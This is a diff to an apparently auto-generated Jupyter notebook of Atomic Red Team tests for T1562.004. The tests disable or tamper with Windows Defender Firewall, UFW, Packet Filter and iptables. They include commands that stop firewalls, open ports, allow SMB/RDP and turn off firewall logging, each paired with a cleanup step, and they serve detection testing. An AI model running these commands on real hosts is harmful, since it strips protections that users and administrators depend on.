"id": "cf2437c7", + "id": "87a68582", "metadata": {}, "source": [ "### Atomic Test #2 - Disable Microsoft Defender Firewall via Registry", @@ -61,28 +61,28 @@ { "cell_type": "code", "execution_count": null, - "id": "cf687300", + "id": "d1973568", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "206c1f12", + "id": "a519655f", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v \"EnableFirewall\" /t REG_DWORD /d 1 /f\n```" }, { "cell_type": "code", "execution_count": null, - "id": "54197fb1", + "id": "3a78ba85", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "0c515fcf", + "id": "9733c661", "metadata": {}, "source": [ "### Atomic Test #3 - Allow SMB and RDP on Microsoft Defender Firewall", @@ -95,28 +95,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5f7a8301", + "id": "8fe9daf9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "183fd447", + "id": "634c0946", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnetsh advfirewall reset >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d94c957c", + "id": "af82c9a0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "f57d2481", + "id": "a19e32be", "metadata": {}, "source": [ "### Atomic Test #4 - Opening ports for proxy - HARDRAIN", @@ -130,28 +130,28 @@ { "cell_type": "code", "execution_count": null, - "id": "c80cd658", + "id": "15a41470", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "1147309d", + "id": "4a75aeb9", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnetsh advfirewall firewall delete rule name=\"atomic testing\" protocol=TCP localport=450 >nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "6dcabdc1", + "id": "4d9d5e8f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "0b38fdfc", + "id": "11d7c9d8", "metadata": {}, "source": [ "### Atomic Test #5 - Open a local port through Windows Firewall to any profile", @@ -165,28 +165,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a5bf559e", + "id": "3a1f572b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "cd817e24", + "id": "fdef3b38", "metadata": {}, "source": "#### Cleanup: \n```powershell\nnetsh advfirewall firewall delete rule name=\"Open Port to Any\" | Out-Null```" }, { "cell_type": "code", "execution_count": null, - "id": "cbc22f1f", + "id": "ef683468", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "2f67118c", + "id": "34e26faf", "metadata": {}, "source": [ "### Atomic Test #6 - Allow Executable Through Firewall Located in Non-Standard Location", @@ -194,48 +194,48 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item PathToAtomicsFolder\\T1562.004\\bin\\AtomicTest.exe -Destination \"C:\\Users\\$env:UserName\" -Force\nnetsh advfirewall firewall add rule name=\"Atomic Test\" dir=in action=allow program=\"C:\\Users\\$env:UserName\\AtomicTest.exe\" enable=yes\n```" + "```powershell\nCopy-Item \"PathToAtomicsFolder\\T1562.004\\bin\\AtomicTest.exe\" -Destination \"C:\\Users\\$env:UserName\" -Force\nnetsh advfirewall firewall add rule name=\"Atomic Test\" dir=in action=allow program=\"C:\\Users\\$env:UserName\\AtomicTest.exe\" enable=yes\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "06ccaac7", + "id": "236250eb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "eaf79304", + "id": "83713de3", "metadata": {}, "source": "#### Cleanup: \n```powershell\nnetsh advfirewall firewall delete rule name=\"Atomic Test\" | Out-Null\nRemove-Item C:\\Users\\$env:UserName\\AtomicTest.exe -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c790e3c7", + "id": "3584d1ef", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "646d279f", + "id": "ba9083d0", "metadata": {}, "source": "### Atomic Test #7 - Stop/Start UFW firewall\nStop the Uncomplicated Firewall (UFW) if installed.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if ufw is installed on the machine.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1; fi \n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "68f4d43e", + "id": "8c6923b5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5c2419f1", + "id": "e8415051", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -245,377 +245,557 @@ { "cell_type": "code", "execution_count": null, - "id": "199fc947", + "id": "49666c94", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "a1ac56f2", + "id": "aa39924a", "metadata": {}, "source": "#### Cleanup: \n```sh\nufw enable\nufw status verbose\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fc4a3a37", + "id": "bcb93335", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "c3a83d13", + "id": "cc2441ab", "metadata": {}, - "source": "### Atomic Test #8 - Stop/Start UFW firewall systemctl\nStop the Uncomplicated Firewall (UFW) if installed, using systemctl. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if systemctl and ufw is installed on the machine.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v systemctl)\" ]; then echo -e \"\\n***** systemctl NOT installed *****\\n\"; exit 1; fi\nif [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1; fi \n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + "source": "### Atomic Test #8 - Stop/Start Packet Filter\nStop the Packet Filter if installed.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if pfctl is installed on the machine.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v pfctl)\" ]; then echo -e \"\\n***** PF NOT installed *****\\n\"; exit 1; fi\nif [ \"$(kldstat -n pf)\" = \"\" ]; then echo -e \"\\n***** PF inactive *****\\n\"; exit 1; fi \n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "83056f6d", + "id": "54a89364", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5aa10b0e", + "id": "727ee66b", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\nsystemctl stop ufw\n```" + "```sh\nservice pf stop\nservice pf disable\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "1566954c", + "id": "6758787b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "079fcd1c", + "id": "79da391d", "metadata": {}, - "source": "#### Cleanup: \n```sh\nsystemctl start ufw\nsystemctl status ufw\n```" + "source": "#### Cleanup: \n```sh\nservice pf enable\nservice pf start\nservice pf status\n```" }, { "cell_type": "code", "execution_count": null, - "id": "99e0bbff", + "id": "3b1984ce", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "e04e8830", + "id": "2a1f98df", "metadata": {}, - "source": "### Atomic Test #9 - Turn off UFW logging\nTurn off the Uncomplicated Firewall (UFW) logging. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if ufw is installed on the machine and enabled.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1; fi \n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + "source": "### Atomic Test #9 - Stop/Start UFW firewall systemctl\nStop the Uncomplicated Firewall (UFW) if installed, using systemctl. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if systemctl and ufw is installed on the machine.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v systemctl)\" ]; then echo -e \"\\n***** systemctl NOT installed *****\\n\"; exit 1; fi\nif [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1; fi \n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "06fdb72e", + "id": "3ecbcdf1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 9 -GetPreReqs" }, { "cell_type": "markdown", - "id": "42fb7000", + "id": "e847ae3f", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\nufw logging off\n```" + "```sh\nsystemctl stop ufw\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "edc0f017", + "id": "d2263ee2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "4ad727c6", + "id": "9f3a37dc", "metadata": {}, - "source": "#### Cleanup: \n```sh\nufw logging low\nufw status verbose\n```" + "source": "#### Cleanup: \n```sh\nsystemctl start ufw\nsystemctl status ufw\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6942f150", + "id": "adf40016", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "0be0c824", + "id": "45a4db7b", "metadata": {}, - "source": "### Atomic Test #10 - Add and delete UFW firewall rules\nAdd and delete a rule on the Uncomplicated Firewall (UFW) if installed and enabled. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if ufw is installed on the machine and enabled.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1; fi \n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + "source": "### Atomic Test #10 - Turn off UFW logging\nTurn off the Uncomplicated Firewall (UFW) logging. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if ufw is installed on the machine and enabled.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1; fi \n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "db6f63b5", + "id": "174017c0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 10 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9248207b", + "id": "c2679ead", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\nufw prepend deny from 1.2.3.4\nufw status numbered\n```" + "```sh\nufw logging off\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "08280414", + "id": "e30606d8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "08b3c4f7", + "id": "3b49d5d9", "metadata": {}, - "source": "#### Cleanup: \n```sh\n{ echo y; echo response; } | ufw delete 1\nufw status numbered\n```" + "source": "#### Cleanup: \n```sh\nufw logging low\nufw status verbose\n```" }, { "cell_type": "code", "execution_count": null, - "id": "84285dcc", + "id": "f896dbf3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 10 -Cleanup" }, { "cell_type": "markdown", - "id": "165af4a7", + "id": "93cf6823", "metadata": {}, - "source": "### Atomic Test #11 - Edit UFW firewall user.rules file\nEdit the Uncomplicated Firewall (UFW) rules file /etc/ufw/user.rules.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if /etc/ufw/user.rules exists.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -f \"/etc/ufw/user.rules\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + "source": "### Atomic Test #11 - Add and delete UFW firewall rules\nAdd and delete a rule on the Uncomplicated Firewall (UFW) if installed and enabled. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if ufw is installed on the machine and enabled.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1; fi \n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "eefdf8ee", + "id": "96665b76", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 11 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4ecb3c08", + "id": "994bc6a7", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\necho \"# THIS IS A COMMENT\" >> /etc/ufw/user.rules\ngrep \"# THIS IS A COMMENT\" /etc/ufw/user.rules\n```" + "```sh\nufw prepend deny from 1.2.3.4\nufw status numbered\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "18e8d63d", + "id": "c6de2351", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "e961b777", + "id": "48162fe3", "metadata": {}, - "source": "#### Cleanup: \n```sh\nsed -i 's/# THIS IS A COMMENT//g' /etc/ufw/user.rules\n```" + "source": "#### Cleanup: \n```sh\n{ echo y; echo response; } | ufw delete 1\nufw status numbered\n```" }, { "cell_type": "code", "execution_count": null, - "id": "83a8ab0f", + "id": "66e2c8e3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 11 -Cleanup" }, { "cell_type": "markdown", - "id": "d2948fef", + "id": "db72a504", "metadata": {}, - "source": "### Atomic Test #12 - Edit UFW firewall ufw.conf file\nEdit the Uncomplicated Firewall (UFW) configuration file /etc/ufw/ufw.conf \nwhich controls if the firewall starts on boot and its logging level.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if /etc/ufw/ufw.conf exists.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -f \"/etc/ufw/ufw.conf\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + "source": "### Atomic Test #12 - Add and delete Packet Filter rules\nAdd and delete a rule on the Packet Filter (PF) if installed and enabled. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if pf is installed on the machine and enabled.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v pfctl)\" ]; then echo -e \"\\n***** PF NOT installed *****\\n\"; exit 1; fi\nif [ \"$(kldstat -n pf)\" = \"\" ]; then echo -e \"\\n***** PF inactive *****\\n\"; exit 1; fi \n\n```\n##### Get Prereq Commands:\n```sh\necho \"anchor pf-rules >> /etc/pf.conf\"\npfctl -f /etc/pf.conf\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2026ba93", + "id": "7ba7afbe", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 12 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8464435b", + "id": "e8bb6adc", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\necho \"# THIS IS A COMMENT\" >> /etc/ufw/ufw.conf\ngrep \"# THIS IS A COMMENT\" /etc/ufw/ufw.conf\n```" + "```sh\necho \"block in proto tcp from 1.2.3.4 to any\" | pfctl -a pf-rules -f -\npfctl -a pf-rules -s rules\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "41b58bbf", + "id": "ba331884", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "f1129d54", + "id": "53af2249", "metadata": {}, - "source": "#### Cleanup: \n```sh\nsed -i 's/# THIS IS A COMMENT//g' /etc/ufw/ufw.conf\ncat /etc/ufw/ufw.conf\n```" + "source": "#### Cleanup: \n```sh\npfctl -a pf-rules -F rules\nsed -i \"\" '/anchor pf-rules/d'\npfctl -f /etc/pf.conf\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2dc14d9f", + "id": "46a73b43", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "260dbf26", + "id": "ddb77f37", "metadata": {}, - "source": "### Atomic Test #13 - Edit UFW firewall sysctl.conf file\nEdit the Uncomplicated Firewall (UFW) configuration file for setting network \nvariables /etc/ufw/sysctl.conf.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if /etc/ufw/sysctl.conf exists.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -f \"/etc/ufw/sysctl.conf\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + "source": "### Atomic Test #13 - Edit UFW firewall user.rules file\nEdit the Uncomplicated Firewall (UFW) rules file /etc/ufw/user.rules.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if /etc/ufw/user.rules exists.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -f \"/etc/ufw/user.rules\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8602464c", + "id": "0d6df32e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 13 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e374627a", + "id": "f088a210", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\necho \"# THIS IS A COMMENT\" >> /etc/ufw/sysctl.conf\ngrep \"# THIS IS A COMMENT\" /etc/ufw/sysctl.conf\n```" + "```sh\necho \"# THIS IS A COMMENT\" >> /etc/ufw/user.rules\ngrep \"# THIS IS A COMMENT\" /etc/ufw/user.rules\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "aa65ce04", + "id": "38dcc10f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "63bb5ec9", + "id": "56e3f26b", "metadata": {}, - "source": "#### Cleanup: \n```sh\nsed -i 's/# THIS IS A COMMENT//g' /etc/ufw/sysctl.conf\ncat /etc/ufw/sysctl.conf\n```" + "source": "#### Cleanup: \n```sh\nsed -i 's/# THIS IS A COMMENT//g' /etc/ufw/user.rules\n```" }, { "cell_type": "code", "execution_count": null, - "id": "75946a57", + "id": "dd8cda55", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 13 -Cleanup" }, { "cell_type": "markdown", - "id": "6e4ff05b", + "id": "2a2b65bc", "metadata": {}, - "source": "### Atomic Test #14 - Edit UFW firewall main configuration file\nEdit the Uncomplicated Firewall (UFW) main configuration file for setting \ndefault policies /etc/default/ufw.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if /etc/default/ufw exists.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -f \"/etc/default/ufw\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + "source": "### Atomic Test #14 - Edit UFW firewall ufw.conf file\nEdit the Uncomplicated Firewall (UFW) configuration file /etc/ufw/ufw.conf \nwhich controls if the firewall starts on boot and its logging level.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if /etc/ufw/ufw.conf exists.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -f \"/etc/ufw/ufw.conf\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f1bef8b3", + "id": "0066bcad", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 14 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5b49ddbc", + "id": "35a4ef0b", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\necho \"# THIS IS A COMMENT\" >> /etc/default/ufw\ngrep \"# THIS IS A COMMENT\" /etc/default/ufw\n```" + "```sh\necho \"# THIS IS A COMMENT\" >> /etc/ufw/ufw.conf\ngrep \"# THIS IS A COMMENT\" /etc/ufw/ufw.conf\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "1c28cd65", + "id": "549c863a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 14" }, { "cell_type": "markdown", - "id": "55ead41b", + "id": "0b041f9e", "metadata": {}, - "source": "#### Cleanup: \n```sh\nsed -i 's/# THIS IS A COMMENT//g' /etc/default/ufw\n```" + "source": "#### Cleanup: \n```sh\nsed -i 's/# THIS IS A COMMENT//g' /etc/ufw/ufw.conf\ncat /etc/ufw/ufw.conf\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1917d628", + "id": "c8b866ec", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 14 -Cleanup" }, { "cell_type": "markdown", - "id": "bb95eeed", + "id": "cb77a972", "metadata": {}, - "source": "### Atomic Test #15 - Tail the UFW firewall log file\nPrint the last 10 lines of the Uncomplicated Firewall (UFW) log file \n/var/log/ufw.log.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if /var/log/ufw.log exists.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -f \"/var/log/ufw.log\" ]; then echo -e \"\\n***** ufw NOT logging *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + "source": "### Atomic Test #15 - Edit UFW firewall sysctl.conf file\nEdit the Uncomplicated Firewall (UFW) configuration file for setting network \nvariables /etc/ufw/sysctl.conf.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if /etc/ufw/sysctl.conf exists.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -f \"/etc/ufw/sysctl.conf\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "516e8f78", + "id": "ea92a7f7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 15 -GetPreReqs" }, { "cell_type": "markdown", - "id": "bd886bc3", + "id": "8db12314", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\ntail /var/log/ufw.log\n```" + "```sh\necho \"# THIS IS A COMMENT\" >> /etc/ufw/sysctl.conf\ngrep \"# THIS IS A COMMENT\" /etc/ufw/sysctl.conf\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "c289e375", + "id": "dc6c807c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 15" }, { "cell_type": "markdown", - "id": "f5dd912c", + "id": "837e7eb0", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nsed -i 's/# THIS IS A COMMENT//g' /etc/ufw/sysctl.conf\ncat /etc/ufw/sysctl.conf\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "92d168da", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 15 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "9e925070", + "metadata": {}, + "source": "### Atomic Test #16 - Edit UFW firewall main configuration file\nEdit the Uncomplicated Firewall (UFW) main configuration file for setting \ndefault policies /etc/default/ufw.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if /etc/default/ufw exists.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -f \"/etc/default/ufw\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "54f9268f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 16 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "31567344", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\necho \"# THIS IS A COMMENT\" >> /etc/default/ufw\ngrep \"# THIS IS A COMMENT\" /etc/default/ufw\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "473c87fb", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 16" + }, + { + "cell_type": "markdown", + "id": "16835b4f", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nsed -i 's/# THIS IS A COMMENT//g' /etc/default/ufw\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b54fe5c7", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 16 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "3d3c6547", + "metadata": {}, + "source": "### Atomic Test #17 - Tail the UFW firewall log file\nPrint the last 10 lines of the Uncomplicated Firewall (UFW) log file \n/var/log/ufw.log.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if /var/log/ufw.log exists.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -f \"/var/log/ufw.log\" ]; then echo -e \"\\n***** ufw NOT logging *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "569ec0d4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 17 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "7ba5f363", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\ntail /var/log/ufw.log\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ee86d637", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.004 -TestNumbers 17" + }, + { + "cell_type": "markdown", + "id": "bbe6b3a9", + "metadata": {}, + "source": "### Atomic Test #18 - Disable iptables\nSome Linux systems may not activate ufw, but use iptables for firewall rules instead. (ufw works on top of iptables.) \nAttackers cannot directly disable iptables, as it is not implemented as a service like ufw. But they can flush all iptables \nrules, which in fact \"disable\" iptables. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if iptables is installed on the machine.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v iptables)\" ]; then echo -e \"\\n***** iptables NOT 